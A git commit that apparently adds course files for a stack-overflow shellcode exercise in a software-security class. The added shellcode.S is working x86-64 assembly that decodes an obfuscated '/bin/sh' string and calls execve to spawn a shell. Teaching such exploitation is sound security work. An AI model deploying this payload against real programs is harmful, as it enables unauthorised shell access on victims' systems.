Add q4 files

2023-03-30 02:12:33 +02:00 · 2023-03-30 02:12:33 +02:00 · 15695498a4
commit 15695498a4
parent c3bc46cdac
3 changed files with 57 additions and 0 deletions
--- a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q4/shellcode.S
+++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q4/shellcode.S
@ -0,0 +1,18 @@
+
+.text
+.globl _start
+
+_start:
+xor    %eax,%eax
+movabs $0xff978cd091969dd1,%rbx
+neg    %rbx
+push   %rbx
+push   %rsp
+pop    %rdi
+cltd
+push   %rdx
+push   %rdi
+push   %rsp
+pop    %rsi
+mov    $0x3b,%al
+syscall